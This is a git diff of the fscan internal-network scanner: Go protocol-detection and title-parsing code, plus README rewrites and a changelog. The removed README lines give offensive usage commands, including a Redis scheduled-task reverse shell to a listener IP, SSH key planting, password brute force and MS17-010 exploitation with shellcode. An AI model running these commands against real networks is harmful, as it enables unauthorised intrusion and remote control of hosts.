|
// 使用正则表达式匹配title标签内容
|
||||||
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
||||||
find := re.FindSubmatch(body)
|
find := re.FindSubmatch(body)
|
||||||
|
|
||||||
if len(find) > 1 {
|
if len(find) > 1 {
|
||||||
title = string(find[1])
|
title := string(find[1])
|
||||||
|
|
||||||
// 清理标题内容
|
// 清理标题内容
|
||||||
title = strings.TrimSpace(title) // 去除首尾空格
|
title = strings.TrimSpace(title)
|
||||||
title = strings.Replace(title, "\n", "", -1) // 去除换行
|
title = strings.Replace(title, "\n", "", -1)
|
||||||
title = strings.Replace(title, "\r", "", -1) // 去除回车
|
title = strings.Replace(title, "\r", "", -1)
|
||||||
title = strings.Replace(title, " ", " ", -1) // 替换HTML空格
|
title = strings.Replace(title, " ", " ", -1)
|
||||||
|
|
||||||
// 截断过长的标题
|
// 截断过长的标题
|
||||||
if len(title) > 100 {
|
if len(title) > maxTitleLength {
|
||||||
title = title[:100]
|
title = title[:maxTitleLength]
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理空标题
|
// 处理空标题
|
||||||
if title == "" {
|
if title == "" {
|
||||||
title = "\"\"" // 空标题显示为双引号
|
return emptyTitle
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
title = "无标题" // 没有找到title标签
|
return title
|
||||||
}
|
}
|
||||||
return
|
|
||||||
|
return noTitleText
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetProtocol 检测目标主机的协议类型(HTTP/HTTPS)
|
// 保存Web扫描结果
|
||||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
|
||||||
protocol = "http"
|
// 处理指纹信息
|
||||||
|
fingerprints := info.Infostr
|
||||||
|
if len(fingerprints) == 1 && fingerprints[0] == "" {
|
||||||
|
fingerprints = []string{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 准备服务器信息
|
||||||
|
serverInfo := make(map[string]interface{})
|
||||||
|
serverInfo["title"] = resp.Title
|
||||||
|
serverInfo["length"] = resp.Length
|
||||||
|
serverInfo["status_code"] = resp.StatusCode
|
||||||
|
|
||||||
|
// 添加响应头信息
|
||||||
|
for k, v := range resp.Headers {
|
||||||
|
serverInfo[strings.ToLower(k)] = v
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加重定向信息
|
||||||
|
if resp.RedirectUrl != "" {
|
||||||
|
serverInfo["redirect_Url"] = resp.RedirectUrl
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存扫描结果
|
||||||
|
result := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.SERVICE,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "identified",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "http",
|
||||||
|
"title": resp.Title,
|
||||||
|
"Url": resp.Url,
|
||||||
|
"status_code": resp.StatusCode,
|
||||||
|
"length": resp.Length,
|
||||||
|
"server_info": serverInfo,
|
||||||
|
"fingerprints": fingerprints,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(result)
|
||||||
|
|
||||||
|
// 输出控制台日志
|
||||||
|
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||||
|
resp.Url, resp.StatusCode, resp.Length, resp.Title)
|
||||||
|
|
||||||
|
if resp.RedirectUrl != "" {
|
||||||
|
logMsg += fmt.Sprintf(" 重定向地址: %s", resp.RedirectUrl)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(fingerprints) > 0 {
|
||||||
|
logMsg += fmt.Sprintf(" 指纹:%v", fingerprints)
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogInfo(logMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检测目标主机的协议类型(HTTP/HTTPS)
|
||||||
|
func detectProtocol(host string, timeout int64) (string, error) {
|
||||||
// 根据标准端口快速判断协议
|
// 根据标准端口快速判断协议
|
||||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
if strings.HasSuffix(host, ":"+httpPort) {
|
||||||
return
|
return httpProtocol, nil
|
||||||
} else if strings.HasSuffix(host, ":443") {
|
} else if strings.HasSuffix(host, ":"+httpsPort) {
|
||||||
protocol = "https"
|
return httpsProtocol, nil
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 尝试建立TCP连接
|
timeoutDuration := time.Duration(timeout) * time.Second
|
||||||
socksconn, err := Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), timeoutDuration)
|
||||||
if err != nil {
|
defer cancel()
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 尝试TLS握手
|
// 并发检测HTTP和HTTPS
|
||||||
conn := tls.Client(socksconn, &tls.Config{
|
resultChan := make(chan ProtocolResult, 2)
|
||||||
MinVersion: tls.VersionTLS10,
|
wg := sync.WaitGroup{}
|
||||||
InsecureSkipVerify: true,
|
wg.Add(2)
|
||||||
})
|
|
||||||
|
|
||||||
// 确保连接关闭
|
// 检测HTTPS
|
||||||
defer func() {
|
go func() {
|
||||||
if conn != nil {
|
defer wg.Done()
|
||||||
defer func() {
|
success := checkHTTPS(host, timeoutDuration/2)
|
||||||
if err := recover(); err != nil {
|
select {
|
||||||
Common.LogError(err)
|
case resultChan <- ProtocolResult{httpsProtocol, success}:
|
||||||
}
|
case <-ctx.Done():
|
||||||
}()
|
|
||||||
conn.Close()
|
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
// 设置连接超时
|
// 检测HTTP
|
||||||
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
success := checkHTTP(ctx, host, timeoutDuration/2)
|
||||||
|
select {
|
||||||
|
case resultChan <- ProtocolResult{httpProtocol, success}:
|
||||||
|
case <-ctx.Done():
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
// 执行TLS握手
|
// 确保所有goroutine正常退出
|
||||||
err = conn.Handshake()
|
go func() {
|
||||||
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
wg.Wait()
|
||||||
protocol = "https"
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 收集结果
|
||||||
|
var httpsResult, httpResult *ProtocolResult
|
||||||
|
|
||||||
|
for result := range resultChan {
|
||||||
|
if result.Protocol == httpsProtocol {
|
||||||
|
r := result
|
||||||
|
httpsResult = &r
|
||||||
|
} else if result.Protocol == httpProtocol {
|
||||||
|
r := result
|
||||||
|
httpResult = &r
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return protocol
|
// 决定使用哪种协议 - 优先使用HTTPS
|
||||||
|
if httpsResult != nil && httpsResult.Success {
|
||||||
|
return httpsProtocol, nil
|
||||||
|
} else if httpResult != nil && httpResult.Success {
|
||||||
|
return httpProtocol, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 默认使用HTTP
|
||||||
|
return defaultProtocol, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检测HTTPS协议
|
||||||
|
func checkHTTPS(host string, timeout time.Duration) bool {
|
||||||
|
tlsConfig := &tls.Config{
|
||||||
|
InsecureSkipVerify: true,
|
||||||
|
MinVersion: tls.VersionTLS10,
|
||||||
|
}
|
||||||
|
|
||||||
|
dialer := &net.Dialer{
|
||||||
|
Timeout: timeout,
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, err := tls.DialWithDialer(dialer, "tcp", host, tlsConfig)
|
||||||
|
if err == nil {
|
||||||
|
conn.Close()
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分析TLS错误,某些错误可能表明服务器支持TLS但有其他问题
|
||||||
|
errMsg := strings.ToLower(err.Error())
|
||||||
|
return strings.Contains(errMsg, "handshake failure") ||
|
||||||
|
strings.Contains(errMsg, "certificate") ||
|
||||||
|
strings.Contains(errMsg, "tls") ||
|
||||||
|
strings.Contains(errMsg, "x509") ||
|
||||||
|
strings.Contains(errMsg, "secure")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检测HTTP协议
|
||||||
|
func checkHTTP(ctx context.Context, host string, timeout time.Duration) bool {
|
||||||
|
req, err := http.NewRequestWithContext(ctx, "HEAD", fmt.Sprintf("http://%s", host), nil)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
client := &http.Client{
|
||||||
|
Transport: &http.Transport{
|
||||||
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||||
|
DialContext: (&net.Dialer{
|
||||||
|
Timeout: timeout,
|
||||||
|
}).DialContext,
|
||||||
|
},
|
||||||
|
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||||
|
return http.ErrUseLastResponse // 不跟随重定向
|
||||||
|
},
|
||||||
|
Timeout: timeout,
|
||||||
|
}
|
||||||
|
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err == nil {
|
||||||
|
resp.Body.Close()
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试原始TCP连接和简单HTTP请求
|
||||||
|
netConn, err := net.DialTimeout("tcp", host, timeout)
|
||||||
|
if err == nil {
|
||||||
|
defer netConn.Close()
|
||||||
|
netConn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
|
||||||
|
// 发送简单HTTP请求
|
||||||
|
_, err = netConn.Write([]byte("HEAD / HTTP/1.0\r\nHost: " + host + "\r\n\r\n"))
|
||||||
|
if err == nil {
|
||||||
|
// 读取响应
|
||||||
|
buf := make([]byte, 1024)
|
||||||
|
netConn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
n, err := netConn.Read(buf)
|
||||||
|
if err == nil && n > 0 {
|
||||||
|
response := string(buf[:n])
|
||||||
|
return strings.Contains(response, "HTTP/")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,24 +1,9 @@
|
|||||||
# Fscan 2.0.0
|
# Fscan
|
||||||
[English][url-docen]
|
[English][url-docen]
|
||||||
|
|
||||||
# 0x01 简介
|
# 0x01 简介
|
||||||
一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。
|
|
||||||
|
|
||||||
## 主要功能
|
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
||||||
|
|
||||||
- 主机存活探测:快速识别内网中的活跃主机
|
|
||||||
- 端口扫描:全面检测目标主机开放端口
|
|
||||||
- 服务爆破:支持对常见服务进行密码爆破测试
|
|
||||||
- 漏洞利用:集成MS17-010等高危漏洞检测
|
|
||||||
- Redis利用:支持批量写入公钥进行权限获取
|
|
||||||
- 系统信息收集:可读取Windows网卡信息
|
|
||||||
- Web应用检测:
|
|
||||||
- Web指纹识别
|
|
||||||
- Web漏洞扫描
|
|
||||||
- 域环境探测:
|
|
||||||
- NetBIOS信息获取
|
|
||||||
- 域控制器识别
|
|
||||||
- 后渗透功能:支持通过计划任务实现反弹shell
|
|
||||||
|
|
||||||
# 0x02 主要功能
|
# 0x02 主要功能
|
||||||
## 1. 信息搜集
|
## 1. 信息搜集
|
||||||
@@ -48,142 +33,39 @@
|
|||||||
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
|
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
|
||||||
|
|
||||||
# 0x03 使用说明
|
# 0x03 使用说明
|
||||||
## 基础用法
|
完整功能介绍、使用说明及最新更新请访问我们的官方网站。
|
||||||
```bash
|
|
||||||
# 默认扫描(使用全部模块)
|
|
||||||
fscan.exe -h 192.168.1.1/24
|
|
||||||
|
|
||||||
# B段扫描
|
## 官方网站
|
||||||
fscan.exe -h 192.168.1.1/16
|
|
||||||
```
|
|
||||||
|
|
||||||
## 进阶用法
|
**https://fscan.club/**
|
||||||
|
|
||||||
### 扫描控制
|
访问官网获取:
|
||||||
```bash
|
|
||||||
# 跳过存活检测、不保存文件、跳过web poc扫描
|
|
||||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc
|
|
||||||
|
|
||||||
# 指定扫描结果保存路径
|
- 详细功能文档
|
||||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt
|
- 使用教程
|
||||||
|
- 最新版本下载
|
||||||
# 从文件导入目标
|
- 常见问题解答
|
||||||
fscan.exe -hf ip.txt
|
- 技术支持
|
||||||
```
|
|
||||||
|
|
||||||
### 特定功能
|
|
||||||
```bash
|
|
||||||
# Redis利用
|
|
||||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥
|
|
||||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell
|
|
||||||
|
|
||||||
# SSH操作
|
|
||||||
fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令
|
|
||||||
|
|
||||||
# 密码爆破
|
|
||||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞
|
|
||||||
```
|
|
||||||
|
|
||||||
### 代理设置
|
|
||||||
```bash
|
|
||||||
# HTTP代理
|
|
||||||
fscan.exe -u http://baidu.com -proxy 8080
|
|
||||||
|
|
||||||
# SOCKS5代理
|
|
||||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
|
|
||||||
```
|
|
||||||
|
|
||||||
### 特定漏洞检测
|
|
||||||
```bash
|
|
||||||
# MS17-010检测
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010
|
|
||||||
|
|
||||||
# MS17-010利用
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add
|
|
||||||
```
|
|
||||||
|
|
||||||
## 编译说明
|
## 编译说明
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 基础编译
|
# 基础编译
|
||||||
go build -ldflags="-s -w " -trimpath main.go
|
go build -ldflags="-s -w" -trimpath main.go
|
||||||
|
|
||||||
# 使用UPX压缩(可选)
|
# UPX压缩(可选)
|
||||||
upx -9 fscan.exe
|
upx -9 fscan
|
||||||
```
|
```
|
||||||
|
|
||||||
## Arch Linux安装
|
## 系统安装
|
||||||
```bash
|
```bash
|
||||||
# 使用yay
|
# Arch Linux
|
||||||
yay -S fscan-git
|
yay -S fscan-git
|
||||||
|
# 或
|
||||||
# 或使用paru
|
|
||||||
paru -S fscan-git
|
paru -S fscan-git
|
||||||
```
|
```
|
||||||
|
|
||||||
# 0x04 参数说明
|
# 0x04 运行截图
|
||||||
|
|
||||||
## 目标设置
|
|
||||||
- `-h` : 设置目标IP
|
|
||||||
- 支持单个IP:`192.168.11.11`
|
|
||||||
- 支持IP范围:`192.168.11.11-255`
|
|
||||||
- 支持多个IP:`192.168.11.11,192.168.11.12`
|
|
||||||
- `-hf` : 从文件读取目标
|
|
||||||
- `-hn` : 设置要排除的IP范围
|
|
||||||
- `-u` : 指定单个URL扫描
|
|
||||||
- `-uf` : 指定URL文件扫描
|
|
||||||
|
|
||||||
## 扫描控制
|
|
||||||
- `-m` : 指定扫描模式,默认为"all"
|
|
||||||
- `-t` : 设置扫描线程数,默认600
|
|
||||||
- `-time` : 端口扫描超时时间,默认3秒
|
|
||||||
- `-wt` : Web访问超时时间,默认5秒
|
|
||||||
- `-debug` : 设置进度打印间隔,默认60秒
|
|
||||||
- `-silent` : 开启静默模式,适用于CS扫描
|
|
||||||
|
|
||||||
## 端口配置
|
|
||||||
- `-p` : 指定扫描端口
|
|
||||||
- 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
|
|
||||||
- `-pa` : 在默认端口基础上新增端口
|
|
||||||
- `-pn` : 设置要排除的端口
|
|
||||||
|
|
||||||
## 爆破相关
|
|
||||||
- `-user` : 指定用户名
|
|
||||||
- `-userf` : 指定用户名文件
|
|
||||||
- `-pwd` : 指定密码
|
|
||||||
- `-pwdf` : 指定密码文件
|
|
||||||
- `-usera` : 在默认用户字典基础上新增用户
|
|
||||||
- `-pwda` : 在默认密码字典基础上新增密码
|
|
||||||
|
|
||||||
## Web相关
|
|
||||||
- `-cookie` : 设置Cookie
|
|
||||||
- `-num` : Web POC发包速率,默认20
|
|
||||||
- `-pocname` : 指定Web POC的模糊名称
|
|
||||||
- `-pocpath` : 指定POC路径
|
|
||||||
|
|
||||||
## 代理设置
|
|
||||||
- `-proxy` : 设置HTTP代理
|
|
||||||
- `-socks5` : 设置SOCKS5代理
|
|
||||||
|
|
||||||
## 输出控制
|
|
||||||
- `-o` : 设置结果保存路径,默认"result.txt"
|
|
||||||
- `-no` : 不保存扫描结果
|
|
||||||
- `-nobr` : 跳过密码爆破
|
|
||||||
- `-nopoc` : 跳过Web POC扫描
|
|
||||||
- `-np` : 跳过存活探测
|
|
||||||
|
|
||||||
## 特殊功能
|
|
||||||
- `-c` : SSH命令执行
|
|
||||||
- `-domain` : SMB爆破时设置域名
|
|
||||||
- `-rf` : Redis写公钥模块的文件路径
|
|
||||||
- `-rs` : Redis计划任务反弹shell的IP端口
|
|
||||||
- `-sshkey` : 指定SSH私钥路径
|
|
||||||
- `-sc` : MS17010利用模块shellcode功能
|
|
||||||
|
|
||||||
## 存活探测
|
|
||||||
- `-ping` : 使用ping代替ICMP进行存活探测
|
|
||||||
|
|
||||||
# 0x05 运行截图
|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||||

|

|
||||||
@@ -208,7 +90,13 @@ paru -S fscan-git
|
|||||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
||||||

|

|
||||||
|
|
||||||
# 0x06 免责声明
|
新的展示
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
# 0x05 免责声明
|
||||||
|
|
||||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
||||||
|
|
||||||
@@ -223,7 +111,7 @@ paru -S fscan-git
|
|||||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||||
|
|
||||||
|
|
||||||
# 0x07 404StarLink 2.0 - Galaxy
|
# 0x06 404StarLink 2.0 - Galaxy
|
||||||

|

|
||||||
|
|
||||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||||
@@ -231,12 +119,19 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
|
|||||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||||
|
|
||||||
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
|
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
|
||||||
# 0x08 Star Chart
|
# 0x07 Star Chart
|
||||||
[](https://starchart.cc/shadow1ng/fscan)
|
[](https://starchart.cc/shadow1ng/fscan)
|
||||||
|
|
||||||
# 0x09 捐赠
|
# 0x08 捐赠
|
||||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
||||||
|
|
||||||
|
# 0x09 安全培训
|
||||||
|

|
||||||
|
学网络安全,就选玲珑安全!专业漏洞挖掘,精准定位风险;助力技能提升,塑造安全精英;玲珑安全,为您的数字世界保驾护航!
|
||||||
|
在线免费学习网络安全,涵盖src漏洞挖掘,0基础安全入门。适用于小白,进阶,高手: https://space.bilibili.com/602205041
|
||||||
|
玲珑安全往期学员报喜🎉: https://www.ifhsec.com/list.html
|
||||||
|
玲珑安全漏洞挖掘培训学习联系微信: linglongsec
|
||||||
|
|
||||||
# 0x10 参考链接
|
# 0x10 参考链接
|
||||||
https://github.com/Adminisme/ServerScan
|
https://github.com/Adminisme/ServerScan
|
||||||
https://github.com/netxfly/x-crack
|
https://github.com/netxfly/x-crack
|
||||||
@@ -244,57 +139,4 @@ https://github.com/hack2fun/Gscan
|
|||||||
https://github.com/k8gege/LadonGo
|
https://github.com/k8gege/LadonGo
|
||||||
https://github.com/jjf012/gopoc
|
https://github.com/jjf012/gopoc
|
||||||
|
|
||||||
|
|
||||||
# 0x11 最近更新
|
|
||||||
## 2024 更新
|
|
||||||
|
|
||||||
- **2024/12/19**: v2.0.0 重大更新
|
|
||||||
- 完整代码重构,提升性能和可维护性
|
|
||||||
- 重新设计模块化架构,支持插件扩展
|
|
||||||
- 改进并发控制,提升扫描效率
|
|
||||||
|
|
||||||
## 2023 更新
|
|
||||||
|
|
||||||
- **2023/11/13**:
|
|
||||||
- 新增控制台颜色输出(可用 `-nocolor` 关闭)
|
|
||||||
- 支持JSON格式保存结果(`-json`)
|
|
||||||
- 调整TLS最低版本至1.0
|
|
||||||
- 支持端口分组(`-p db,web,service`)
|
|
||||||
|
|
||||||
## 2022 更新
|
|
||||||
- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
|
|
||||||
- **2022/7/14**: 改进文件导入支持和搜索匹配功能
|
|
||||||
- **2022/7/6**: 优化内存管理,扩展URL支持
|
|
||||||
- **2022/7/2**:
|
|
||||||
- 增强POC fuzz模块
|
|
||||||
- 新增MS17017利用功能
|
|
||||||
- 加入socks5代理支持
|
|
||||||
- **2022/4/20**: 新增POC路径指定和端口文件导入功能
|
|
||||||
- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito)
|
|
||||||
- **2022/1/11**: 新增Oracle密码爆破
|
|
||||||
- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能
|
|
||||||
|
|
||||||
## 2021 更新
|
|
||||||
- **2021/12/7**: 新增RDP扫描功能
|
|
||||||
- **2021/12/1**: 全面优化功能模块
|
|
||||||
- **2021/6/18**: 改进POC识别机制
|
|
||||||
- **2021/5/29**: 新增FCGI未授权扫描
|
|
||||||
- **2021/5/15**: 发布Windows 2003版本
|
|
||||||
- **2021/5/6**: 更新核心模块
|
|
||||||
- **2021/4/21**: 加入NetBIOS探测和域控识别
|
|
||||||
- **2021/3/4**: 支持URL批量扫描
|
|
||||||
- **2021/2/25**: 支持密码爆破功能
|
|
||||||
- **2021/2/8**: 新增指纹识别功能
|
|
||||||
- **2021/2/5**: 优化ICMP探测
|
|
||||||
|
|
||||||
## 2020 更新
|
|
||||||
- **2020/12/12**: 集成YAML解析引擎,支持XRay POC
|
|
||||||
- **2020/12/6**: 优化ICMP模块
|
|
||||||
- **2020/12/03**: 改进IP段处理
|
|
||||||
- **2020/11/17**: 新增WebScan模块
|
|
||||||
- **2020/11/16**: 优化ICMP模块
|
|
||||||
- **2020/11/15**: 支持文件导入IP
|
|
||||||
|
|
||||||
_感谢所有为项目做出贡献的开发者_
|
|
||||||
|
|
||||||
[url-docen]: README_EN.md
|
[url-docen]: README_EN.md
|
||||||
|
|||||||
+27
-27
@@ -227,34 +227,34 @@ https://github.com/jjf012/gopoc
|
|||||||
|
|
||||||
|
|
||||||
# 10. Dynamics
|
# 10. Dynamics
|
||||||
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
|
2022/11/19 Add hash collision, wmiexec echo free command execution function
|
||||||
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
|
||||||
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
|
||||||
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
|
||||||
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
|
||||||
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
|
||||||
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
|
||||||
[+] 2022/1/11 Add oracle password explosion.
|
2022/1/11 Add oracle password explosion.
|
||||||
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
|
||||||
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
|
||||||
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
|
||||||
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
|
||||||
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
|
||||||
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
|
||||||
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
|
||||||
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
|
2021/4/22 Modify webtitle module and add gbk decoding.
|
||||||
[+] 2021/4/21 Add netbios detection and domain control identification functions.
|
2021/4/21 Add netbios detection and domain control identification functions.
|
||||||
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
|
||||||
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
|
||||||
